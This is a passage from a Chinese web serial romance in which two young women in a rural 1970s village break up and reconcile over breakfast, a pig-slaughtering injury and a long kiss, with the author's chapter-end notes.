温淼看着碗里的早饭,是细细的面条,上面还缀着翠绿的青菜和一个溏心鸡蛋。 三人围坐在一起吃饭,但饭桌上只有沉默。 温向荣没过一会儿就意识到了不对劲,毕竟在平日里,温淼和季白青早就当着她的面腻歪起来了。 等到季白青有事离开后,*温向荣看着温淼:“你和小季闹别扭了?” 温淼的筷子一顿,将面条咬断,一时间不知道该怎么说。 要和温向荣说出真相吗?毕竟两人大概也没有以后了。 温淼抬头和温向荣对视,声音如常:“奶奶,我们分手了。” 闻言,温向荣的脸一沉。 “为什么要分手?” 温淼垂眸,看着碗里不剩下多少的面条。 一碗的量刚好是她的饭量再多一点,季白青帮她盛的,她很了解她。 可……她轻声道:“奶奶,我们性格不太合适。” 她说的不是不喜欢,也不是感情淡了,而是说两人不合适。 温向荣虽然情感经验不多,但到底也是从那时候走过来的。 她皱着眉头:“一句不合适就要分开?你心里对她有什么意见,你要提出来!谁家不都是一路磨合过来的?更何况小季帮了我们家那么多……” 最后的话她没继续说出来,毕竟她虽然不想要两人分开,但同时也不愿意给温淼那么大的压力,感情也不是拿恩情就能够维系的,两人之间的矛盾还是得公开布诚地去谈,说出来了最后才能解决。 至于她为什么立马就猜到了是温淼主动提的分手,那自然是自己的孙女自己了解。 温淼性格敏感,又喜欢多想。 而季白青那丫头曾在她面前坦诚过帮她都是为了温淼,她那么喜欢温淼,怎么可能主动提出分手。 温向荣拍了拍温淼的肩膀,劝道:“我看小季和你真的挺配的,你好好想想,到底要不要继续和她在一起。” “你要想好,如果你们分开的话,虽然喜欢女人的女人少见,但也不是没有,小季条件好,如果有人喜欢上她你该怎么办?” 听了温向荣的话,温淼的表情一怔,不自觉地咬住了唇瓣。 别人喜欢季白青,那季白青会喜欢别人吗? 喜欢上季白青确实太轻易了,如果她和季白青分开的消息散布出去的话,立马有人追求季白青温淼都觉得并不奇怪。 明明她以为自己早就做好了心理准备,但是被温向荣这样一说,温淼的心里还是难以控制地泛上了细细密密的疼痛。 她有些茫然,在此刻越发觉得自己是自私的。 一心想要和季白青分开,却又不想要看到季白青和其她人在一起。 怎么能够自私成这样? 占有欲过剩也会是对恋人的爱吗? 温淼找不到答案。 温向荣见她发愣的模样,无可奈何地摇了摇头。 “总之你自己好好想想,如果不是真的不喜欢的话,那就要说清楚,把你们之间的问题解开,以后才能更长久地在一起。” 说完,她就回了房间。 温淼坐在原地,看着碗里的面条没有说话。 她觉得温向荣说的是对的,但是她真的不敢再赌。 如果又拖累了季白青,那该怎么办啊? 她想要季白青以后都能够好好的。 如果季白青以后一路顺遂的话,那她看着对方和别人在一起好像也勉强能接受。 真的……能接受吗? 事情没真正发生之前,温淼也找不到答案。 她将最后一点面吃完后,将碗洗了,这才回到房间。 昨天晚上回房间的时候她并没有注意到桌上放着的东西。 这次进去才突然发现,原本空荡荡的桌上多了两样东西。 ——一束干花和一个绒袋。 心跳的频率莫名加快,温淼不自觉抿了抿唇,将花拿起,触碰到干枯的花瓣和叶子,咔嚓一声,碎渣簌簌往下掉。 她的身体一僵,下意识放缓了动作,慢慢将其放回到桌上,拿起一边的袋子。 将袋子拉开之前,她还在想里面会是些什么。 打开后,看到里面泛着银光的戒指,她一愣,眼皮几乎是瞬间开始变得滚烫。 小心翼翼地将戒指倒出来,温淼拿着两个戒指仔细看了看。 将刻着月亮的戒指戴进了自己的无名指,刚好合适。 戒指被细白的手指衬得秀气精致,是……温淼很喜欢的类型。 “姑姑,从这进来就行。”季白青和温如嫣的声音响起,温淼有些慌乱地将戒指摘下来,放回袋子里。 脑中的思绪还是分外杂乱。 所以说,上次叫她过来,是想要送她戒指和花吗? 而她却对季白青说了那样的话,害得季白青那么难过。 繁杂混乱的思绪并没有停留多久,温如嫣敲了敲主卧的门,“蓁蓁,出来帮忙。” 温淼打开门出去,站在一边帮温向荣抹药。 沾了一手的草药味,洗手的时候将盆放在井边,险些掉下去。 还是季白青眼疾手快地接住,看向面色恍惚的温淼问:“在想什么?” 她声音难得有些严肃:“别在井边发呆,小心栽下去。” 温淼点头,悄悄抬眼看向她的时候,发现了她眼下带着淡淡的青黑。 她昨天晚上没睡好吗?也是,大半夜还出了门。 季白青不知道她心里的想法,只是将上午打探到的消息告诉温淼。 “陆延被送到警察局了,应该会坐牢,大概是两年。” 温淼倒是没有多惊讶,“他活该,如果不是你提前让奶奶出来,那奶奶就被烧死了。” 甚至温淼还觉得两年判得很轻。 只是被“烧死”的温向荣是黑五类,所以陆延这一行为并没有被严重追究。 判两年还是因为被烧的那些古树。 温淼有些黯然,难道那些人的命就不是命了吗? 季白青看出来她心中所想,声音柔和了几分。 “好了,无论如何,现在奶奶已经摆脱原来的身份了,你不用再担心了。” 温淼点头,而后看向季白青认真道:“季白青,再过一段时间,我打点好就带奶奶搬出去,不会继续麻烦你了。” 看出她脸上的倔强,季白青即使内心不想答应,最后也只能点头。 “我这里有地方,温淼,我随时等你改变主意。” 无论是什么时候的季白青,都不想要真的和温淼分手。 她只是有些茫然,为什么事情都已经被解决了,而温淼还是固执地想要分开呢? 她可以哄温淼很多次,但这一次,季白青却不想主动求和。 季白青想要让温淼清楚,她对自己的感情到底是什么样的。 听季白青说完后,温淼撇过头去,不再看她。 “我不会改变主意的。” “嗯。”季白青忍住心中的失落,低低应了一声,没再多留。 温淼在原地站了会儿,看着她慢慢走远的身体,将衣摆揉得发皱。 温如嫣看着温向荣喝了药之后,也走了出来。 见温淼怔在原地远远往外望,她走过去,纳闷道:“你这是在看什么呢?” 温淼收回视线摇了摇头。 “没看什么。” 盯着她有几分苍白的脸色,温如嫣屈指敲了敲她的额头。 “听娘说你和小季闹别扭了?” 温淼摇头,纠正她的说辞:“不是闹别扭,是分开。” 温如嫣轻笑一声,“就你这望妻石的样儿,你还说分开。” “真舍得分开?” 温淼垂眸,声音放轻:“姑姑,我们继续在一起对她不好。” 温如嫣“嗯”了一声,“具体怎么说?” 温淼不想要将自己心里的想法全都说出来,哪怕是温如嫣也不行。 她摇了摇头,“姑姑,你不知道。” “你也没有和别人谈过。” 温如嫣开导小侄女结果还不小心中了一枪,一时间不知道该哭该笑。 她就着温淼的话指出其中最为重要的一点:“可是分开就对小季好吗?我看她这几天的状态都不太对。” “有时候就不应该想太多,不然你自己伤心的同时也会伤了小季,你以为这样对她好,但她不是这种想法。” 说完这话,她没多留,准备回卫生所。 只能说季白青和温淼都是当局者迷,她这个旁观者反而看得更为透彻一些。 温如嫣所说的话在温淼的耳边盘旋,温淼却固执地不愿意去承认- 最后陆延纵火如季白青所猜测的那样,判了两年。 得了消息之后,沈念念瞬间软倒在地上,面色苍白。 毕竟现在在乡下,她好不容易才找到一个家世好、长相出众还愿意带她回城的人,现在唯一的希望进了牢里,一去还是两年。 陆延不在了,那她还怎么回到京市! 沈念念一时间有些恨方海洋了,他明明跟在陆延身后得了那么多好处,凭什么就那么没有良心的要告密! 不就是烧死了个黑五类又烧了几棵树?大不了赔钱就好了! 方海洋被沈念念瞪着,有些不爽。 现在陆延不在,他也不用再装模作样地做他身后的一条狗,立马瞪了会去。 “看什么看!” 沈念念眼神闪烁,到底还是不敢和一个男人硬碰硬,收回了视线。 潘红霞在后面看着,没说话,心里到底也是畅快的。 说到底,沈念念那么嚣张也都是因为有陆延给她撑腰,现在陆延进去了,那潘红霞也不用再处处忍受了。 不只有知青关心这些事,村里人听到了李向东宣读的消息后,也立马议论纷纷地讨论了起来。 “我就知道这个陆知青不是个好的。” “对啊,怎么能随便纵火呢,万一整个村子都起火了……” “还好只是烧死了一个黑五类。” …… 让她们讨论了一番,李向东清了清嗓子,大声开口:“好了好了,大家都先安静下来,听我说几句话。” 喊得嗓子都哑了,人群总算是安静了下来。 李向东道:“介于黑五类已经被烧死了,温知青的户口挂在我们公社上,所以她实际上和黑五类也没有多大的关系,以后大家都正常看待她和季家丫头!大家听到没!” 嘴上说着这话,实际上李向东的心里有些不情愿,他不喜欢季白青和温淼。 但是一想到今天从警察局回来的时候,他被人带去了梅叙的办公室,梅叙特意将让他说这番话。 县长都下令了,李向东不过是个小小的村长,不敢不从。 更何况,梅叙所说的话确实是占理的。 他说完后,基本上也没有什么人有意见,毕竟昨晚大部分人都看到了在灰烬中哭得撕心裂肺的温淼,到底还是存了几分良心,加上黑五类是真的死了,关系确实不大。 季白青听完后回去给陆霁写了一封信,犹豫一番,最后还是没有骑车,步行去了镇上。 将信寄了出去,季白青去了废品回收站。 现在已经将陆延处理了,沈念念一个人暂时也整不出多大的幺蛾子,目前最需要开始准备的便是一年之后的高考。 赵婉见到她来的时候还有些惊喜,“哟,白青,好久没见你来了。” “你家温淼呢?” 听她这么说,季白青一笑,没说实话,只道:“她今天在家。” “婉姐,我想挑几本书。” 赵婉给她指了个方向:“你先挑着,我这还有活要忙呢。” 季白青点头,将翻出来的能用上的书本都放进了尼龙袋之中。 找出来的书装了小半袋,赵婉看了看象征性地收了她五毛钱。 季白青拿着,又去食品站买了点菜,这才不急不慢地往家赶。 回到家的时候,何香月还没下工,季伟的腿上还缠着绷带,正坐在门口的常青树下刨木屑。 季白青将书放到房间里,又将买来的肉和菜给炖上。 家里有季伟和温向荣两个病号,多吃点肉恢复得更好。 等到将买的那一整只鸡都炖好之后,季白青分出两碗,趁着人少将温淼她们的那一份带到新屋,没多留。 饭桌上,挑着碗里的米饭吃着,温淼没见着季白青,抿了抿唇。 温向荣抬头看她一眼:“想小季陪你吃饭就和她说呗,憋在心里干什么?” 温淼夹菜的动作一顿,摇头。 “奶奶,我没有想她陪我吃饭。” “而且,”她强调,“我们已经分开了。” 温向荣:“……你就口是心非吧你,小季这么好,我看她和别人在一起了你找谁哭去。” 温淼被她说的有些没胃口,最后强行将自己的饭吃完后就回到了卧室躺下。 桌上放着的花和戒指已经不知道在什么时候被收走了,现在上面空荡荡的一片。 说实话,温淼的心里也有些空落落的。 是季白青把戒指收走了吗? 好过分,连一束干花也不愿意给她留。 这话她也就只敢在心里说。 想到这里,温淼翻了个身,面向墙面。 温如嫣上午所说的话在此时又突然在脑海中冒出来,她睁着眼,想,难道她所想的真的都是错的吗? 可季白青不是也接受了分手,毕竟清醒之后她就再也没有提过要挽留的话。 想到这里,温淼咬住了唇,强迫自己闭上眼。 没什么好多想的,她既然做出决定,那就要为自己的选择负责。 日子很快过去,温向荣脸上的伤痕好了很多,愈合的伤疤几乎都已经落下了,新生的嫩肉泛着粉,精神头也恢复了不少,再过几天便可以去医院治腿了。 温如嫣帮温向荣擦了药之后,转头看向房间里的季白青。 这几天都没见到她,一扭头看过去温如嫣神情惊诧。 “小季,你脸色怎么那么难看?” 即使早已经注意到了,但温淼听了这话,还是没忍住将视线落在她的脸上。 季白青的面色真的不算好,眼下青黑浓重,看起来像是几天几夜没睡。 见屋内众人的视线都挪到了自己身上,季白青揉了揉眉心,低声道:“没事,只是这几天有些失眠。” 这几天即使季白青再忙,为了掩人耳目都是回新屋睡的。 她每天晚上过来的时间也不晚,安安静静待在房间里,竟然也没怎么睡吗? 温淼抿起红唇。 温如嫣给她把了把脉,咂舌:“你这是多少天没睡了?心跳有点紊乱。” 季白青有些无奈解释:“睡了,姑姑你这下总算是摸错了。” 温如嫣收回手,淡定回答:“那肯定也没睡多久。” 她这话倒是说对了,季白青沉默下来,没有反驳。 温如嫣看了温淼一眼:“蓁蓁,去给我拿个纸笔,我给写个单子。” 温淼想了想:“我房间没有。” 季白青随口道:“我睡的那间屋子的桌上有。” 等到温淼人离开房间后,想到床上的东西,季白青的心突然猛地一跳。 她刚才就不应该多嘴,只希望温淼拿了纸和笔就走。 温淼确实第一时间看的桌上放着的稿纸和笔,拿上准备出去的时候,眼神余光突然扫到了床上的一件粉色上衣。 颜色有些眼熟,季白青似乎没有这样颜色的衣服。 她犹豫了一会儿,还是走到了床边,将那件衣服拿了起来。 看过一遍后,她立马可以确定,这就是她的衣服。 温淼的脸慢慢红了起来,季白青偷拿她的衣服干什么?! 手指微微一蜷,布料落在床上,温淼不敢再看,匆匆出了房间。 低头见纸和笔给了温如嫣,温淼没有多待,回了主卧。 见她那副慌乱的模样,温如嫣有些纳闷。 “这又是在干什么呢?” 她刷刷写下单子,给了季白青,嘱咐道:“你下次去镇上杀猪就顺带把这些药给抓了,喝几顿就不会失眠了。” 季白青接过,并没有直说这药对她不管用。 她弯唇道谢:“谢谢姑姑。” 温如嫣拍了拍她的肩膀:“蓁蓁爱钻牛角尖,你等她想清楚就好了。” 季白青只是笑了笑,没有说话。 拿着药方回到了客房,季白青看着床上被胡乱丢在床上的上衣,轻啧一声。 “还是被发现了。”她轻声道,脸色也难以控制地漫上一丝绯色。 伸手将床上的衣服叠好,她将其凑到鼻尖,衣物上属于温淼的气味已经很淡了。 但是这几天能睡着都得多亏了这件衣服。 微微叹出一口气,季白青靠在床头,曲着一只腿没动。 温淼想到季白青房间里的衬衫,在房间的床上慢吞吞打了个滚儿,最后抱住枕头蹭了蹭脸颊。 季白青拿她的衣服干什么? 还没有得出答案,一想到她苍白的脸,温淼突然坐了起来。 到底为什么失眠?明明以前两个人在一起睡的时候,季白青没有这个毛病,每次都睡得很熟。 虽然温淼这段时间偶尔也会失眠到深夜,但都不至于像是季白青这样,轻易就能被人看出来。 是因为分手吗? 难以控制地猜到了这个可能,温淼抱着枕头的手缩紧。 她又有些怀疑自己做的决定了,分手到底对不对? 第二天季白青要去镇上杀猪,温淼也没睡多久,很快就起床,去敲季白青房间的门的时候,没有听到动静。 难道是睡过头了? 温淼犹豫一番,将门拧开,再往内看的时候却没见到人。 她一愣,人呢。 走到季家门口的时候,何香月正在做早饭。 温淼道:“婶子,阿青走了吗?” 何香月抬头见温淼,对她一笑。 “对啊,走了吧。” 温淼看着屋里的自行车,犹豫发问:“她怎么没骑车去?” 何香月摆了摆手,“你不是要用吗?她说你今天得用,她走着去镇上,要我说,你们俩一起去不就得了……” 后面的话温淼没有听完,她沉默地回了新屋,给温向荣做了早饭,她没什么胃口,便随意对付了几口。 新屋的灶房没有用过的痕迹,温淼去季家的时候,何香月还在做早饭。 季白青没吃早饭就去镇上了吗? 失眠又空腹步行那么远,早上还要干体力活。 一想到这个可能,她就再也没心情再干其它的事。 最后犹豫一番,先前在心里做好的决定顿时都被她抛在了脑后,她骑着自行车往镇上赶,在去食品站之前买了几个肉包子。 食品站的猪肉铺前还是只有王宝珠一个人,温淼问:“宝珠姐,阿青在仓库吗?” 王宝珠手忙脚乱地切肉收钱,一边回复道:“对!对了,白青最近是不是没休息好,刚刚杀猪不小心被猪踹到了肚子。” 闻言,温淼的脸色更加苍白了几分,眼眶也发涩。 她谢过王宝珠后,推着单车往仓库的方向走。 最终在仓库门口见到了季白青,女人背对她坐在凳子上,伸手捂着小腹轻揉。 听到了脚步声,她扭过头去,恰好与眼眶微红的温淼对上视线。 季白青一怔,还没来得及说话。 热乎的包子就被塞到了她的怀里。 “为什么不吃早饭,为什么不骑车上镇里?” 【作者有话说】 有天使读者给画了我们小情侣的同人图,可好看了!就在角色卡上!大家都去看~想看大图的可以看@空青宿宿雪 感谢投雷营养液,感谢评论订阅收藏[三花猫头] 98 第98章 ◎接个吻吧◎ 季白青摸着怀里热乎的包子,沉默一瞬,站起来,毫不犹豫地将包子还给她。 她看着温淼一眼不眨:“不是你说的要分手?要互相划开距离?那我怎么样也不用你管。” “不吃早饭饿不死我,你买的车我也不会骑。” 她往后退了一步,轻声道:“温淼,这都是你说的,我们分手了,你让我别管你,同样,你也不用管我。” “无论后果如何,都是我自作自受。” 话音刚落,看着面前的温淼眸中带上了水意了,季白青偏过头去,没再坚持与她对视。 温淼听了那些话,眼皮发热,强忍着才没让眼中的泪掉下来。 手上拿着的包子还带着温度,她默不作声地又塞回去。 季白青拧眉看她,她也和她对视,眸中是一如既往的执拗。 “要管。” 看着季白青眸中疑色,温淼再次重复道:“要管的。” 听她说这句话,季白青笑出了声。 “凭什么管我?我们是什么关系?” 温淼咬着唇,粉色唇瓣透出一抹血色,久久没能找出答案。 她不想看季白青这么折腾自己的身体,可是她现在好像确实没有资格说这些。 季白青见状,也没打算继续和她耗下去,忍着腹部的疼痛跨步准备离开。 刚走了不过两三步,她却被追上来的温淼抓住了手腕。 女人软绵绵的声音传来,听了之后只让她觉得更加气了。 她说:“朋友,我们是朋友。” 所以废了这么半天的劲儿,就想出来这么一句话? 季白青转过头去,认真地看着温淼:“温淼,我们不是朋友。我喜欢你,和你当不了朋友。” 她抽出自己的手腕,垂眸盯着女人湿润的眼。 “要么和我做恋人,要么就做陌生人,温淼,没有你想的这么好的事。” 说完,她去猪肉摊前给王宝珠帮忙。 温淼看她走路时还不自觉躬起的背,心脏一点一点被酸涩吞噬。 只是做朋友而已,以朋友的身份关心照顾她,不可以吗? 季白青的要求未免也太过苛刻。 温淼觉得她根本就不喜欢自己,不然怎么会对自己这么坏? 将眼中的泪憋了回去,温淼将包子放在自行车前面的置物筐中,坐在季白青刚坐过的小凳子上。 脑中突然回想起刚才王宝珠所说的季白青小腹被踹了,她抿着唇板着一张脸有些不高兴。 明明都受伤了,还不留下休息。 同时,温淼的心里有些后悔。 她如果没有跟着过来就好了,或许季白青就不会躲着她去忙活了。 最起码……可以好好休息。 而且刚才季白青所说的话还是难以避免地让温淼原本做好决定的内心动摇,她现在心乱如麻。 在原地等了季白青好一会儿,她才终于等到了卖完猪肉的青年。 季白青回来将工服换下后洗了把手,没看温淼一眼,准备回去。 温淼推着车赶紧跟在她身后,再度出言好言规劝:“坐车回去吧,我载你。” 见季白青没说话,只是步伐越来越快,温淼跟在她身边加快脚步,喘了几口气后再度开口: “……最起码也要去医院检查一下吧?” 季白青皮肤白,这下还是被踹在柔软脆弱的小腹,温淼不用看就知道衣服遮盖下皮肤上的伤痕会有多明显。 季白青见她还跟着自己,停下脚步,睨了温淼一眼, “温淼。” 温淼抬眼看她,手不自觉将自行车的把手攥得更紧。 “我还是那句话,你不用管我,我怎么样和你没关系。” 说完,她便大步往前走,没再照顾温淼。 温淼在原地呆愣一会儿,抿着唇默不作声地落在她身后两三步跟在后面。 走到云水村的时候,她颊边的碎发几乎都被汗液打湿,就连腿都有些软。 她不知道季白青是怎么坚持下来的。 看着季白青进了季家屋子里,温淼也将自行车放了进去。 还没等她将置物筐里的东西拿出来,季白青就进了房间。 看着紧闭的房门,温淼没说话,拿着买的包子去了新房。 进屋的时候,温向荣正在看书,见她手里拿着包子回来,有些奇怪。 “早上没吃饱?怎么还买包子回来。” 温淼将包子放在桌上,没说原因,只道:“这是今天的午饭。” 温向荣没意见,只要给她口吃的就行,是什么她不挑。 心情有些烦闷地回到房间,温淼坐在凳子上,眼神再度落在原本放着戒指的桌角。 戒指肯定是被季白青拿走了。 就连戒指也不想留给她,所以季白青嘴里的喜欢肯定是假的。 她伸出手指戳了戳枕头,最后还没解气,抱到怀里一顿揉。 揉完后,将变得皱巴巴的枕头展开抚平,温淼又想起季白青在食品站所说的话。 她说,她还喜欢她,所以不想要和她做朋友。 骗人,根本不喜欢她- 季白青早上没什么胃口,上午还马失前蹄意外被猪踹了一脚,小腹生疼,更加吃不下什么东西了。 只是喝了碗粥,她就回了房间躺下休息。 说不清上午对温淼的态度到底是在折磨温淼还是在折磨自己,或许是同时折磨两个人。 季白青阖上眼,觉得有些疲惫。 她受伤温淼似乎也没有多担心,那要得等她真的意识到自己不能失去这段感情还需要多久? 季白青都怕自己等不到那一天。 温淼的性格实在太犟了,无论是第一世还是现在,做好决定的事从不会轻易改变。 季白青现在闹脾气似的疏远在温淼眼里看来或许根本不会对她的决定有什么影响。 她被自己的猜想气得头疼。 到底还是身体的不适占据上风,季白青蜷缩在床上,手心抵着小腹揉了揉,没多久昏昏沉沉睡了过去。 其实更多可能是痛昏过去了,毕竟被踹了之后她不止将猪给杀了、买了肉还一路从镇上走回云水村。 她的意识昏昏沉沉,不知道过了多久,突然听到耳边响起何香月的声音:“白青,起来吃晚饭了。” 她轻喃道:“不吃了。” 语气有些有气无力的。 自己生下来的女儿,何香月最了解,这多半是不舒服了。 她探了探季白青额头的温度,也不烫。 “怎么了这是?早饭不吃中午吃那么点晚上又不吃。”何香月嘀咕着出去。 但最终还是不太放心,她端着碗去找了温淼。 温淼和温向荣此时也在吃饭,何香月和温向荣打了声招呼后对温淼道: “淼淼啊,你去看看白青,她回来之后好像不太舒服,平时胃口那么好的人,中午就吃了那么点,晚上干脆还不吃了,还在家躺了一下午。” 闻言,温淼还没反应过来,下意识就站起了身。 温向荣眼神揶揄地看向她。 这么关心,还在嘴硬说要分手。 温淼说不出话来,跟在何香月的身后回季家。 比起自己所做下的决定,季白青的身体在她的心里更为重要。 温淼抿着唇,推开了季白青卧室的门。 何香月帮她们把门合上。 温淼走到床边,看着季白青躺下的的姿势。 她蜷缩着身体,手松松搭在小腹上,唇瓣发白,眼下缀着的青黑明显。 温淼没说话,只是将她的手往旁边挪了挪,随后将她的衣摆往上撩。 小片紫红色於痕映入眼帘,光是看着就让人觉得严重,温淼眼睛一眨,没忍住,眼泪直接滴在了她的腹部。 看起来这么严重,上午还偏偏不听她的话。 早在手被拿开的时候季白青就察觉到有人进来了,本以为还是何香月,感受到腹部突然沾上的热意,她瞬间知道来人是谁。 意识还没有恢复多少,季白青的手下意识落在温淼的后背上,发出含糊的轻哄。 “乖,不哭。” 温言软语哄了几句后,季白青睁开眼睛,这才清醒几分。 她收回了自己的手,撑着身体半倚在床头,牵扯到小腹后没忍住轻轻吸了一口气。 温淼抬眸看她,“小心点。” 季白青揉了揉保持一个姿势太久而发疼的肩膀,皱眉问她:“你怎么来了?” 温淼低声道:“何婶担心你,所以才叫我来的。” 季白青点头,立马赶人:“你也看到了,我现在没事了,回去吧温淼。” 温淼看着眉眼冷淡的季白青一样,心生委屈。 明明刚才对她的态度还不是这样的。 季白青掀起眼皮又看她一眼,“还不走?” 温淼闷声道:“你身上的伤要处理,我帮你擦药。” “我上午说过什么话,还记得吗?”季白青问。 温淼当然记得。 季白青说她怎么样不用她管。 见她轻轻点头,季白青露出个苍白的笑。 “所以还不走?这是什么意思?” 什么意思?温淼也不知道。 她只知道,季白青现在受伤了,很不听话很不乖,需要人管着。 温淼还想管季白青。 所有早在内心坚定好的抉择都在见到季白青虚弱的模样后彻底崩塌。 她呜咽一声,将手与季白青的手背相叠,“我不要做你朋友了,我想做你的爱人。” “和好好不好?”她语气柔软,带了几分恳求。 季白青静静看她一会儿,问:“真的想好了?” 见她点头,季白青将自己被压住的手抽了出来。 “我觉得不好。”她声音淡淡。 温淼闻言,拳头握紧,声音难免带上了几分急切,“为什么?你说还喜欢我都是假的吗?” 说到最后,女人的声音难免带了几分哽咽。 季白青若有所思地看了她一眼,“温淼,诚意总要让我看见吧。” 温淼固执将自己的手和她扣在一起,问她:“怎么才算是有诚意,阿青要我做什么都可以。” 季白青看着两人相扣的手,问:“你还喜欢我吗?” “……喜欢。” “以后还随便说分手吗?” “不说了……” 季白青杏眸浮上浅淡笑意,手指点了点自己的唇。 “那就——接个吻吧。” 接个吻就和好。 【作者有话说】 之前跟还说要拉扯几天,但写着写着就在和好的路上狂奔了……我忏悔。 角色卡,有读者画的同人图,超好看!!! 感谢投雷营养液,感谢评论订阅收藏。 营养液其实又破万了,但我好像有点加不动了SOS我尽量试试吧,七月好忙,有实践、考试、各种结课作业,还要花一天坐车回家 99 第99章 ◎不给亲◎ 温淼的视线随着季白青的动作落在她的唇上。 因为身体仍旧疼痛,季白青的唇色比以往要苍白不少,但还是淡淡的肉粉色。 她知道,如果接吻的话,就会变成漂亮的水红色。 以前温淼同她试过很多次。 她抬眸与季白青对视,还有些不敢相信她这么轻易就愿意与自己和好。 温淼的唇瓣嗫嚅,最后发问:“真的吗?” 呆愣得可爱。 季白青的眼神滑落在女人的唇瓣上,点头给出了肯定的回复。 确认了承诺的真实性之后,温淼没再犹豫,往前几步,跪坐在季白青床边的空隙上,柔软的身体伏下,她的双臂撑在季白青身体的两边,避免自己压到她。 隔了一段时间没有过亲密接触,又是需要自己主动,她一时间有些生涩。 温淼纤长的睫毛轻轻颤动,唇瓣不断贴近,马上就快要亲上季白青。 两人的唇瓣刚要相贴,季白青却突然将头微微一侧。 小心翼翼的吻落在了她的唇角。 没亲到。 温淼抿了抿唇,红唇漫上几*分水光,倒也没泄气,她继续去寻季白青的唇,这次没再羞怯,怕又像刚才那样没亲到。 她眼睛一眨不眨地盯着对方粉色的唇瓣,马上就要亲到了。 只是即将落在她的唇面上时,季白青的头又微微往后仰,吻落在她尖尖的下巴上。 下一次试着亲却还是被躲开。 温淼也有些恼了,将撑在床边的手按在季白青的肩膀上,有些凶地开口:“不许再躲了!” 季白青的肩膀被固定住,确实没有多少再乱动的机会。 看着女人的红唇再度贴近,她唇角绽开笑意,直接捂住了温淼的嘴。 她道:“不给亲。” 温淼“唔唔”两声,在她的手心咬了一口,留下浅淡的咬痕。 她下了床,用那双漂亮得不行的浅色眸子瞪着她,眸中浮现浅浅的委屈,声音也委屈得不行。 “你就是不想和我和好。” 不然怎么会三番五次地阻止她亲她?明明是她自己提出来的要求。 接吻就和好。 她不让她接吻,这怎么和好? 季白青点头大方承认,指了指一边的凳子,道:“坐。” 她自己也忍着腹部的疼,坐在了床边。 看着温淼眸中再度蒙上的水意,季白青弯了弯眸子,声音清泠,没有哄人。 “好好谈谈,谈完再决定好要不要和好。” 看出她眼中的认真,温淼憋住泪意,点头。 “好。” 季白青问出第一个问题:“为什么要分手?” 温淼的手抓着衣服,不自觉将布料揉得皱巴巴的。 她有些不太想要说实话,但撒谎显然不行。 抬头快速看了眼季白青,对方还在耐心等着自己的回答。 温淼再度低头,眼神盯着季白青垂落在床边的精致脚踝。 她慢吞吞开口问:“可以不回答吗?” “可以。”还不等温淼高兴,季白青继续道:“不过这样我们也没有和好的必要了。” “温淼,或许我们都该坦诚一点,你想知道的我也会告诉你。” 温淼轻轻应了一声,原本就动摇的决心现在早就所剩无几了。 只是要她将实话说出来,她还有些怯于开口。 “我……”她说了一个字就沉默了下来。 季白青耐心地等着她将语言组织好。 最后温淼还是将实话托出:“你和婶叔她们都被我影响到了,如果不和我在一起的话,根本不会遭受那么多非议,也不会被李向东她们区别对待。我不想……拖累你们。” 季白青看着她面上的低落,捻了捻指腹,心软的不像话。 这个原因她能猜到,但听温淼主动说出来,却真的很不容易。 她同时也有些欣慰,第一世没听到的解释总算是在这一世听到了。 答完后,温淼眼睛微红,看了她一眼,说:“那我可以问你问题吗?” 季白青一愣,点了点头。 “为什么总是不让我给你帮忙?我不想总是被你护在身后。” 听到这个问题,季白青也沉默下来。 她一时间有些恍惚。 或许在最开始的时候她没有记忆,但身体却始终记着一件事。 那就是要保护好温淼,要让她幸福快乐。 以至于每次吃苦,她都不舍得拉上温淼和自己一起。 她想的是她一个人就可以,只是花的时间比以前多一些。 她犹豫一会儿,想要敷衍过去的想法却还是在记起刚才所说的话时被打消。 季白青叹出一口气,与温淼对视。 “舍不得。” 温淼看出来她眸中的几分怜惜,眼睫一颤,受惊般挪开视线。 几秒过后,她也开了口。 “可我也舍不得看你一个人那么辛苦。” “阿青,”她声音里带了几分恳求,“以后我们一起面对好不好?不要推开我,也别拒绝我。” “我不喜欢这样,会显得我很没用。” 季白青有几分恍惚,手微微攥紧,忽然在此时认识到了自己的错误。 是啊,她想的是要好好保护温淼,但是在被她护着的时候,温淼是否会自责难过呢? 季白青总让她不要多想,但是怎么能够不多想。 或许她太过自大,所以从来没有将其放大细想。 季白青说:“好。” “你如果累了、受伤、难受,遇到了难处也都要和我说,不能瞒着。”温淼再度要求。 “好,但你多想、不安的时候也应该告诉我。” 温淼吸着鼻子,点头应下。 那双水涟涟的眸子盯着她,女人红唇轻启,问:“还有什么问题吗?” 季白青摇头。 “嗯,我也没问题了。”温淼的声音带着鼻音。 她站起身来,却在季白青还没有反应过来的时候弯腰,按着青年的肩膀,毫不客气地咬住了她的唇。 牙齿尖端抵着对方的唇瓣磨了磨,溢出来模糊的一句话。 “亲到了。” 季白青还有几分无奈,手却慢慢勾住了温淼的肩颈,仰着头,方便她亲吻。 含着唇瓣吮了吮,温淼伸出舌尖,撬开青年的唇齿,勾着对方的舌尖纠缠。 暧昧的水声在房间内响起,两人听着都有些不好意思,耳垂是如出一辙的通红,却吻得越发痴缠。 像是要将这几天没有亲够的都亲回来一般。 温淼学会了怎么换气,倒是季白青还因为上次亲吻的记忆太过久远,被女人亲得有些喘不过气来,身体酥麻到尾椎骨,不自觉将放在温淼肩上的手扣紧了一些。 吻得脸颊涨红,温淼总算是退了出去。 看着季白青潮红漫布的脸蛋,连杏眸里都不自觉带上了一丝潋滟水光,温淼凑上前去,又咬了一口她的唇瓣。 “接吻了,所以现在就和好。” “这里,我的。”她一向甜软的声音带了几分占有欲。 过了好一会儿,大脑空白的季白青总算是晃过神来,缓缓突出一口气,想起刚才她所说的话。 她弯了弯眸,没有反驳,“嗯,你的。” 温淼哼了一声,顶着那张红着眼睛越发显得万种风情的脸又埋头咬了一口她的肩头。 “我的。” 季白青无奈,名贵的布偶猫这下变成小狗了。 怎么突然喜欢咬人? 她声音里带了几分哄:“好,是你的。” 温淼侧过头去,原本落在她肩上的手下滑,最后一下落在季白青的中指上,女人含着她的指尖,尖牙抵在季白青的指腹上。 中指湿濡,女人的口腔湿热,用舌尖似有若无地扫过。 温淼抬头,眸中占有欲十足。 “这——也是我的。” 季白青的尾指微微一缩,搅了搅她的舌后抽|出手指,看着上面湿漉漉的水光。 “嗯,是你的。” 她另一只手按住温淼的后脑勺,将她往自己身上按。 亲到红肿的唇瓣后,她在脑海中回忆着以往亲吻的技巧,先是有一搭没一搭地啄吻她的唇面,随后更为缠绵深|入的吻落下。 季白青很聪明,更何况身体的本能还在,将温淼亲得浑身发软更是轻松。 